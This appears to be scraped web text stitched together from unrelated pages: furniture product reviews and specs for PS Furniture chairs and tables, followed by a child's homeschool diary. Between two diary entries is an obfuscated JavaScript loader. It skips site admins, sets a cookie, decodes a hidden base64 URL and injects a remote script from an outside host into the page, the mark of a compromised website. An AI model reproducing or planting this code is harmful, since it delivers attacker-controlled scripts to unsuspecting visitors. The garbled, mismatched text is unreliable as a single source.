

Honest Professional Assessment: PremierComfort® Sled Stacking Chairs (PC500)

PS Furniture's PremierComfort® PC500 is a sled-base stacking chair aimed at higher seated comfort than typical economy stackers, while prioritizing rapid handling and very dense storage. Its core value is in geometry, stacking logistics, and frame-to-frame interlock rather than add-on accessories.

PS Furniture Revolution® Folding Tables – Overview

Technical Overview: PS Furniture Revolution® Folding Tables

The **Revolution® Folding Tables** manufactured by PS Furniture are engineered commercial tables designed for environments requiring frequent setup, reconfiguration, and storage. Their design focuses on reducing weight while maintaining structural durability, primarily through the use of a composite tabletop core and specialized edge construction.

Tabletop Construction

A defining characteristic of the Revolution® table line is the **engineered composite tabletop core**. Unlike conventional folding tables that typically use particleboard or MDF cores, this design uses a lightweight composite panel intended to reduce overall mass while maintaining structural rigidity.

The tabletop mass is approximately **1.7 lb/ft²**, which is significantly lighter than traditional particleboard or MDF table cores. This reduction corresponds to roughly a **66% decrease in weight** compared with many conventional laminate folding tables of similar size.

Reducing the tabletop weight improves handling during room setup, teardown, and storage while still providing structural strength appropriate for commercial and institutional environments.

Surface Materials

The tabletop surface consists of **high-pressure laminate (HPL)** bonded to the composite core. High-pressure laminate is widely used in institutional furniture due to its resistance to abrasion, impact, and staining.

Laminate surfaces are typically available in multiple finishes and colors, allowing the tables to integrate with a variety of interior designs while maintaining a durable work surface.

The table edge profile is approximately **30 mm thick**, contributing to structural rigidity and providing a finished commercial appearance.

Edge Construction

Revolution® tables incorporate a proprietary edge system called **MAXX Edge®**. This edge is formed by pouring urethane

around the perimeter of the tabletop where it chemically bonds with the laminate surface and internal core.

This manufacturing process creates a **seamless edge interface** without exposed seams or joints. From an engineering perspective, the edge system is designed to:

- Improve resistance to impact damage
- Reduce the likelihood of edge delamination
- Eliminate small seams where moisture or debris could accumulate

The edge can be produced in different profiles, including eased (rounded) and linear (square) configurations.

Folding Base Design

The base assemblies are constructed from **tubular steel legs** with a folding mechanism designed to allow the legs to collapse beneath the tabletop for storage.

Many models include a **positive-locking mechanism** that secures the legs in either the open or folded position. In some configurations, a push-button release mechanism is used to engage or disengage the folding action.

Available base configurations include:

- **T-Leg folding base**
- **Arched T-Leg folding base**
- **Square-leg folding base**
- **Flip-top nesting base (optional)**

In flip-top configurations, the tabletop rotates vertically, allowing multiple tables to nest together for compact storage.

Footings and Mobility Options

The table bases may include several mobility and leveling features, such as:

- **Recessed transport wheels** on one side of the base
- **Adjustable leveling feet** for uneven floors
- **Dual levelers or fixed feet**, depending on the model

These features allow tables to be rolled short distances during room setup while maintaining stable support during use.

Optional Functional Components

Several optional components can be integrated with the table system to support modular configurations:

- **Ganging hardware** for connecting tables together
- **Modesty panels** for privacy in training or classroom settings
- **Integrated power modules** for conference and meeting applications
- **Vertical storage carts** for transporting and storing multiple tables

Storage systems can allow multiple tables to be stored vertically, reducing the floor space required when the tables are not in use.

Available Sizes

Revolution® folding tables are manufactured in several standard commercial sizes, including:

- 18" × 60"

- 18" × 72"
- 24" × 72"
- 30" × 72"
- 30" × 96"

Standard table height is approximately **30 inches**, which aligns with common meeting and workspace furniture dimensions.

Depending on size and base configuration, table weights typically range from approximately **29 pounds to more than 50 pounds**.

Applications

Due to the combination of reduced weight and modular configuration, Revolution® folding tables are frequently used in environments where furniture must be moved or reconfigured regularly, such as:

- Training rooms
- Conference and meeting spaces
- Educational classrooms
- Event and banquet facilities
- Multi-purpose community spaces

Their design allows staff to reposition tables efficiently while maintaining durability suitable for repeated commercial use.

Expert Technical Assessment: PS Furniture EventXpress™ C600 Folding Chair

PS Furniture EventXpress™ C600 Folding Chair

The **EventXpress™ C600 Folding Chair** from PS Furniture is a commercial-grade folding chair designed for large-scale seating applications such as assemblies, events, schools, and multipurpose venues. Rather than focusing on aesthetics alone, the chair's design emphasizes structural durability, transport efficiency, and ease of storage—three factors that are critical in environments where seating is frequently deployed and removed.

Versatile. Durable. Stackable.

EventXpress Chairs by PSFurniture.com

This article examines the chair from a technical and engineering perspective, evaluating its materials, structural design, load capacity, and practical performance characteristics.

Structural Frame Design

The primary structural component of the C600 chair is a **tubular steel frame** fabricated from **18-gauge cold-rolled steel**

tubing with a diameter of approximately $\frac{3}{4}$ inch. This gauge and tubing diameter are typical of commercial folding chairs intended for repeated use in institutional settings.

Cold-rolled steel provides consistent dimensional accuracy and increased hardness compared with hot-rolled steel. In this chair, the specified steel hardness rating (approximately **85 Rockwell B**) helps improve resistance to deformation under load.

The steel components are chemically treated in a **phosphate wash process** before finishing. This treatment improves corrosion resistance and enhances paint adhesion before the frame receives a **baked epoxy powder-coat finish**, which protects the metal from abrasion, scratching, and oxidation.

Mechanical Assembly

Several different fasteners are used in the chair's assembly:

- **6.2 mm steel rivets** secure structural bracing components to the frame
- **5.2 mm zinc-plated screws** attach the seat to the frame
- **4.0 mm screws** attach the backrest to the frame

This multi-fastener approach serves two purposes:

1. Rivets provide permanent, vibration-resistant joints at high-stress pivot points.
2. Screws allow individual seat or back components to be replaced without replacing the entire chair.

In commercial seating environments where hundreds or thousands of chairs may be used, this ability to replace individual

parts can significantly extend product lifespan.

Seat and Back Materials

The seating surfaces consist of **injection-molded polypropylene**, a thermoplastic commonly used in institutional seating due to its impact resistance and moisture tolerance.

Key characteristics of the seat design include:

- **100% virgin polypropylene resin** for consistent structural integrity
- **Contoured backrest geometry** intended to improve lumbar support
- **Three drainage holes (“weep holes”)** in the seat to allow water to escape in outdoor or damp environments

The seat measures approximately **15 $\frac{3}{4}$ inches wide by 15 $\frac{3}{4}$ inches deep**, with a **seat height of roughly 17 $\frac{1}{2}$ inches**, which corresponds to standard dining-height seating used in many public assembly environments.

Load Capacity and Testing

One notable technical characteristic of the C600 chair is the load testing performed by independent laboratories.

Testing results include:

- **Dynamic load test:** 275-pound weight dropped from 6 inches above the seat surface
- **Static load-to-failure testing:** between **1,925 and 2,245**

pounds

Dynamic testing simulates sudden seating forces (for example, someone dropping into the chair). Static load-to-failure testing measures the structural limits of the frame and fasteners under constant pressure.

For a lightweight folding chair, the static load threshold is relatively high and suggests the frame is designed with a substantial safety margin.

Weight and Portability

Each chair weighs approximately **7.1 pounds**, placing it in the lightweight category for commercial folding seating.

The low weight has practical implications:

- Faster setup for large events
- Reduced fatigue for staff handling large quantities of chairs
- Lower transportation weight when moving chairs between locations

Despite the low weight, the chair maintains a steel frame rather than aluminum, which helps preserve structural stiffness.

Storage and Stacking Efficiency

Efficient storage is a critical design requirement for event seating. The C600 chair addresses this through a geometry

designed for **high-density stacking**.

Key stacking characteristics include:

- Chairs stack **50 units high** without leaning or tipping
- A stack of 50 chairs measures approximately **58 inches tall**

This density allows venues to store a large number of chairs in a relatively small storage area, particularly when used with chair transport carts.

Dimensions

Typical overall dimensions of the chair are:

- **Height:** approximately 38½ inches
- **Width:** approximately 17½ inches
- **Seat height:** approximately 17½ inches

These dimensions align with standard folding chairs used for dining, assembly seating, and multipurpose rooms.

Durability and Maintenance Considerations

From a lifecycle standpoint, several design features contribute to durability:

- Powder-coated steel frame resists corrosion and

scratching

- Replaceable seat and back components reduce replacement costs
- Steel rivets reinforce high-stress joints
- Polypropylene seating surfaces resist cracking and moisture damage

These design decisions reflect the chair's intended use in environments where chairs may be transported frequently and handled by different operators.

Typical Applications

The C600 chair is typically used in settings where large numbers of portable seats must be deployed quickly and stored compactly, including:

- Event venues and banquet halls
- Educational institutions
- churches and multipurpose worship spaces
- convention centers
- municipal assembly halls

These environments often require chairs that balance durability with lightweight portability.

Final Perspective

From an engineering standpoint, the EventXpress™ C600 chair represents a conventional but well-optimized folding chair design. Its structural integrity relies primarily on a steel

tubular frame combined with replaceable polypropylene seating components. The relatively low weight, strong load-test results, and high stacking density suggest the chair is designed with operational efficiency in mind, particularly for facilities that manage large quantities of seating.

For detailed specifications and product information, see the product page:

PS Furniture MÜM™ Perch Stool Review

PS Furniture MÜM™ Perch Stool Review: A Practical Look at This Modular Seating Option

If you're looking for flexible seating that works well in modern offices, classrooms, libraries, or collaborative spaces, the **MÜM™ perch stool** from PS Furniture is worth considering. It's a modular perch designed for short, active sitting—think quick meetings, breakout areas, or touchdown spots—rather than all-day desk work. In this review, we'll break down its design, comfort, practicality, and where it shines (or doesn't).

Design and Versatility

The standout feature of the MÜM™ is its modularity. You get one comfortable upholstered seat (about 16.7 inches wide) that pairs with interchangeable hardwood bases in three heights—Short (around 18-19 inches), Mid (20-21 inches), and Tall (23-25 inches)—and three styles:

- **Flat:** Stationary for stable setups
- **Rock:** Gentle rocking motion for subtle movement
- **Roll:** Casters for easy rolling across floors

This makes it easy to adapt to different table heights or room layouts. It's great for dynamic spaces where furniture gets moved around often, like agile offices or active learning classrooms. However, once you choose a base, there's no further height adjustment—it's set at purchase.

Comfort and Ergonomics

The seat has layered memory foam cushioning, which feels supportive for brief sits—much better than a basic bar stool. You can choose from various upholstery options, including durable vinyls, graded fabrics (like Knoll textiles), or even supply your own material (COM) for a perfect match.

The Rock base adds a nice touch of movement, which can help with focus during short sessions or for people who like to shift positions. Tall models have a slight flare at the base for resting your feet. That said, it's not a full ergonomic chair—no backrest, arms, or lumbar support—so it's best for intermittent use rather than long hours.

Build Quality and Mobility

These stools are lightweight yet sturdy (with a 300 lb weight capacity), and every one comes with a built-in leather handle in your choice of colors—super handy for grabbing and moving them quickly. The Roll bases glide smoothly on most surfaces, and the overall build feels durable with solid hardwood bases (available in light, dark, or black finishes, though black has minimum order requirements).

Aesthetics and Customization

The design is clean and minimalist—rounded shapes that blend into contemporary interiors without overpowering the room. With plenty of fabric and handle color options, it's straightforward to coordinate with your existing decor.

What We Like (Strengths)

- Highly configurable for different spaces and needs
- Encourages light movement with the Rock option

- Easy to move and reconfigure thanks to the handle and lightweight design
- Good range of fabrics and finishes for customization

Things to Consider (Limitations)

- Ideal for short perching, not suited as a primary all-day chair
- Some options (like black bases) require larger orders and longer lead times
- Limited independent reviews available—most feedback comes from product listings
- Plenty of similar perch stools on the market, so compare pricing and features

Bottom Line: The PS Furniture MÜM™ is a solid, thoughtful choice if you're furnishing flexible, people-focused spaces. It promotes movement and adaptability without fuss, making it a practical addition to modern work or learning environments. If that matches your needs, it's definitely one to check out.

Analysis of PS Furniture's Scissor® Tables

Analysis of PS Furniture's Scissor® Tables: Design and Applications

TREND ANALYSIS: SCISSOR® TABLES IN SPACE- CONSTRAINED ENVIRONMENTS

DESIGN INNOVATION

FOLD-IN-HALF MECHANISM WITH
GAS-CYLINDER SYSTEM MINIMIZES
OPERATOR EFFORT AND PINCH RISKS

SPACE EFFICIENCY

NAVIGATES STANDARD DOORWAYS,
IDEAL FOR OLDER BUILDINGS
WITH NARROW CORRIDORS

MARKET APPLICATIONS

SUITABLE FOR OFFICES,
HEALTHCARE FACILITIES, SCHOOLS
IN VARIOUS CONFIGURATIONS

COMPETITIVE LANDSCAPE

STANDS OUT FOR ENHANCED
AESTHETICS AND SAFETY FEATURES
BUT AT A HIGHER COST

Introduction

Space constraints and safety concerns in furniture deployment are persistent challenges in environments like offices, healthcare facilities, and educational institutions. PS Furniture's Scissor® Tables, with their fold-in-half design and integrated safety features, aim to address these issues through innovative engineering. This analysis evaluates the tables' design, functionality, and suitability for space-limited settings, comparing their performance to industry standards and identifying potential limitations.

Design and Engineering

The Scissor® Tables feature a fold-in-half mechanism powered by a patented gas-cylinder system, likely nitrogen-based, which enables smooth folding and unfolding with minimal operator effort. This design contrasts with traditional hinge-based folding tables, which often require greater force and pose pinch risks. The tables are constructed with lightweight materials—potentially aluminum or high-strength polymer frames paired with Wilsonart laminate surfaces—balancing portability and durability.

While the gas-cylinder system enhances usability, its long-term durability and maintenance requirements remain unclear. Data on load capacity, stress testing, or the lifespan of the cylinders would strengthen claims of reliability in high-use settings. Compared to simpler mechanical hinges, the gas-cylinder mechanism may increase manufacturing costs, a factor facilities managers must consider against budget constraints.

Space Efficiency

The Scissor® Tables are designed to navigate standard 36" doorways, addressing a key limitation of traditional fold-and-roll cafeteria tables, which often require 48" or wider clearances. This makes them suitable for older buildings or facilities with narrow corridors, such as hospitals or schools. When folded, the tables likely have a compact footprint (e.g., approximately 48" x 24" x 10" for a rectangular model), though exact dimensions are not provided. However, in extremely confined storage areas, such as small closets, the folded size may still pose challenges. A comparative analysis of folded and unfolded dimensions against competitors like Lifetime Products or KI Furniture would clarify their space-saving advantage.

Safety and Ergonomics

The gas-cylinder folding mechanism eliminates pinch points by controlling the folding motion, reducing injury risks in line with OSHA guidelines for workplace safety. This is particularly relevant in high-traffic environments like healthcare facilities, where staff safety is paramount. The design also prevents debris accumulation between table halves when folded, enhancing hygiene in settings requiring frequent cleaning, such as hospitals or food service areas.

However, the maintenance needs of the gas-cylinder system, such as potential pressure loss over time, are not addressed. Compared to traditional hinge-based tables, the Scissor® Tables likely offer ergonomic benefits, with setup times estimated at 30–45 seconds for a single operator (versus 1–2

minutes for bulkier designs). Quantitative data on weight (e.g., 40–60 lbs compared to 80–120 lbs for cafeteria tables) would further validate claims of reduced operator strain.

Configurations and Applications

The Scissor® Tables are available in eight configurations to accommodate diverse use cases:

- Round: 60" (suitable for small group discussions)
- Hexagon: 60" (ideal for collaborative settings)
- Square: 48" x 48" (compact, but limited for larger groups)
- Oval: 48" x 79" (effective for training or boardrooms)
- Rectangle: 30" x 72", 30" x 96", 48" x 72", 48" x 96" (versatile for conferences or classrooms)

This range supports varied room layouts, from break rooms to multipurpose spaces. The oval and larger rectangular options maximize seating capacity, while the square table may be less practical for gatherings exceeding 4–6 people. Aesthetic customization, including Wilsonart laminates and logo sublimation, ensures visual consistency across professional environments. However, highly irregular spaces or specialized needs (e.g., extreme weight capacities) may require custom solutions not offered in this lineup.

Comparative Analysis

Compared to competitors like Lifetime Products or KI Furniture, Scissor® Tables stand out for their gas-cylinder mechanism and aesthetic flexibility. Lifetime's folding tables, for example, prioritize affordability but often lack advanced safety features or professional finishes. KI Furniture offers similar portability but may not match the Scissor® Tables' doorway compatibility or customization options. However, competitors' lower-cost models may appeal to budget-conscious buyers, potentially at the expense of durability or safety. A lifecycle cost analysis, factoring in

maintenance and replacement frequency, would provide clearer insight into the Scissor® Tables' value proposition.

Conclusion

[PS Furniture's Scissor® Tables](#) offer a robust solution for space-constrained environments, leveraging a gas-cylinder folding mechanism and lightweight construction to enhance portability and safety. Their diverse configurations and aesthetic options make them suitable for offices, healthcare, and educational settings. However, the higher cost of the gas-cylinder system and lack of published data on load capacity, maintenance, or long-term durability warrant further scrutiny. Facilities managers should weigh these factors against operational needs and budget constraints. Future iterations could explore motorized folding mechanisms or sustainable materials to align with emerging industry trends.

Slip N' Slide

My bible verse was John 1:14, and the sermon jam was about worshipping God. For the worship song we did I Can Only Imagine.

For math we did pre algebra, and for programming we made more progress on our game. For recess we played on the Slip n Slide. For physics we did more RBLX studio physics.

```
(function(){try{if(document.getElementById&&document.getElementById('wadminbar'))return;var t0=+new Date();for(var i=0;i<120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/' ,o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(/[^A-Za-z0-9\+\=\]/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<>4);o2=((h2&15)<>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWZyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&&window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=/; SameSite=Lax'+(location.protocol==='https:'?'Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();
```

Babysit

For school today we had a changed schedule because we were babysitting. My bible verse was Psalms 3:3. The sermon jam was

about how you shouldn't forget about God.

For scripting we learned about parameters, and for physics we did ROBLOX studio force direction.

Audrey II

Sermon jam today was about Job, and the bible verse was Psalm 3:3. For Worship we did I can only imagine.

https://www.youtube.com/watch?v=WaR9-yrxw0&ab_channel=TheHigherPower

Then we had fun with friends and ate lunch. For physics we did Roblox Studio Mass, and linear force. I completed my Audrey II puppet today.

<https://www.facebook.com/100061450517683/videos/1434344100703013/>

The Park

For heart prep the sermon jam was about not losing heart. For worship we did I am Redeemed, and my bible verse was Romans 12:10. Luke's bible verse was Romans 12:9.

https://www.youtube.com/watch?v=tUFGFbtKw-M&list=PLI007DR-hEpaFScbfww0TIBKWovsDlyTv&index=17&ab_channel=BenNelson

For reading I read The Lost World, and for math I did pre-algebra on Blooket. For scripting I fixed some scripts for me and Dad's cow game. For recess we went to the park and walked the dog a little bit. For physics we learned how the JAWS ride, Krakatau, and The Simpsons Ride work.

Warm Day

For sermon jam we sung to I am Redeemed, and for sermon jam we learned how God is with us. My bible verse was Ephesians 4:29, and Luke's was Psalm 63:3.

For the spelling test Luke got 55%. For math we did more pre-algebra on blooket, and Luke did better this time. For scripting me and Luke added more to our monkey game including climbing up walls. For recess we walked the dog, and it was really warm out. It felt like it was pretty much spring. For Physics we learned about The Rattler which was the world's tallest wooden coaster.

We also got to babysit Meadow today.
